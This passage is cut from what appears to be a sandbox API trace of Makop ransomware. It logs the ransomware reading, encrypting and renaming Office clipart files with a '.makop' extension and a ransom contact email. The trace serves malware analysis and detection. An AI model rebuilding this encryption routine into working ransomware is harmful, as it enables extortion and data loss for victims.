hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0147.493] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0147.499] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0147.499] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0147.499] GetProcessHeap () returned 0x48a0000 [0147.499] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0147.499] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0147.499] CryptDestroyKey (hKey=0x48c7128) returned 1 [0147.500] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0147.500] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0147.500] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0147.500] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0147.500] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0147.500] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0147.501] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0147.501] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0147.501] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.501] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1016, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1016, lpOverlapped=0x0) returned 1 [0147.503] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1020, dwBufLen=0x1020 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1020) returned 1 [0147.503] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.503] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1020, lpOverlapped=0x0) returned 1 [0147.503] CryptDestroyKey (hKey=0x48c7128) returned 1 [0147.503] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x10f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.503] SetEndOfFile (hFile=0xf0) returned 1 [0147.511] GetProcessHeap () returned 0x48a0000 [0147.511] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0147.511] GetProcessHeap () returned 0x48a0000 [0147.511] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0147.511] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03012U.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0147.511] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03012U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03012u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03012U.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03012u.bmp.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0147.513] CloseHandle (hObject=0xf0) returned 1 [0147.513] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc44dfa00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x6cebbbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc44dfa00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x49d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH03014_.GIF", cAlternateFileName="")) returned 1 [0147.513] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03014_.GIF") returned 63 [0147.513] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03014_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03014_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0147.514] GetProcessHeap () returned 0x48a0000 [0147.514] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0147.514] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0147.514] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0147.514] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0147.519] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0147.519] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0147.519] GetProcessHeap () returned 0x48a0000 [0147.519] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0147.520] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0147.520] CryptDestroyKey (hKey=0x48c7128) returned 1 [0147.520] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0147.520] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0147.520] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0147.520] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0147.520] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0147.521] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0147.521] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0147.521] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0147.521] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.521] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x49d2, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x49d2, lpOverlapped=0x0) returned 1 [0147.523] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x49e0, dwBufLen=0x49e0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x49e0) returned 1 [0147.524] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.524] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x49e0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x49e0, lpOverlapped=0x0) returned 1 [0147.524] CryptDestroyKey (hKey=0x48c7128) returned 1 [0147.524] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4ab4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.524] SetEndOfFile (hFile=0xf0) returned 1 [0147.531] GetProcessHeap () returned 0x48a0000 [0147.531] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0147.531] GetProcessHeap () returned 0x48a0000 [0147.531] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0147.531] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03014_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0147.532] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03014_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03014_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03014_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03014_.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0147.533] CloseHandle (hObject=0xf0) returned 1 [0147.533] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6cebbbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x78af, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH03041I.JPG", cAlternateFileName="")) returned 1 [0147.533] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03041I.JPG") returned 63 [0147.534] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03041I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03041i.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0147.534] GetProcessHeap () returned 0x48a0000 [0147.535] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0147.535] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0147.535] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0147.535] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x1, lpOverlapped=0x0) returned 1 [0147.540] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0147.540] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0147.540] GetProcessHeap () returned 0x48a0000 [0147.540] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0147.540] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0147.540] CryptDestroyKey (hKey=0x48c7128) returned 1 [0147.540] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0147.540] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0147.540] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0147.541] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0147.541] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0147.541] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0147.541] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0147.541] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0147.541] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.541] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x78af, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x78af, lpOverlapped=0x0) returned 1 [0147.544] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x78b0, dwBufLen=0x78b0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x78b0) returned 1 [0147.544] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.545] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x78b0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x78b0, lpOverlapped=0x0) returned 1 [0147.545] CryptDestroyKey (hKey=0x48c7128) returned 1 [0147.545] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x7984, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.545] SetEndOfFile (hFile=0xf0) returned 1 [0147.552] GetProcessHeap () returned 0x48a0000 [0147.552] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0147.552] GetProcessHeap () returned 0x48a0000 [0147.552] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0147.552] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03041I.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0147.552] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03041I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03041i.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03041I.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03041i.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0147.554] CloseHandle (hObject=0xf0) returned 1 [0147.554] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6cebbbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7450, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH03143I.JPG", cAlternateFileName="")) returned 1 [0147.555] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03143I.JPG") returned 63 [0147.555] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03143I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03143i.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0147.556] GetProcessHeap () returned 0x48a0000 [0147.556] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0147.556] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0147.556] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0147.556] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0147.556] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0147.556] GetProcessHeap () returned 0x48a0000 [0147.556] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0147.557] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0147.557] CryptDestroyKey (hKey=0x48c7128) returned 1 [0147.557] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0147.561] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0147.562] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0147.562] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0147.562] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0147.563] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0147.563] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0147.563] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0147.563] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.563] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x7450, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x7450, lpOverlapped=0x0) returned 1 [0147.565] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7450, dwBufLen=0x7450 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7450) returned 1 [0147.566] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.566] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7450, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x7450, lpOverlapped=0x0) returned 1 [0147.566] CryptDestroyKey (hKey=0x48c7128) returned 1 [0147.567] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x7524, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.567] SetEndOfFile (hFile=0xf0) returned 1 [0147.574] GetProcessHeap () returned 0x48a0000 [0147.574] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0147.574] GetProcessHeap () returned 0x48a0000 [0147.574] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0147.575] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03143I.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0147.575] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03143I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03143i.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03143I.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03143i.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0147.576] CloseHandle (hObject=0xf0) returned 1 [0147.577] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6cebbbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa343, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH03205I.JPG", cAlternateFileName="")) returned 1 [0147.577] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03205I.JPG") returned 63 [0147.577] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03205I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03205i.jpg"), 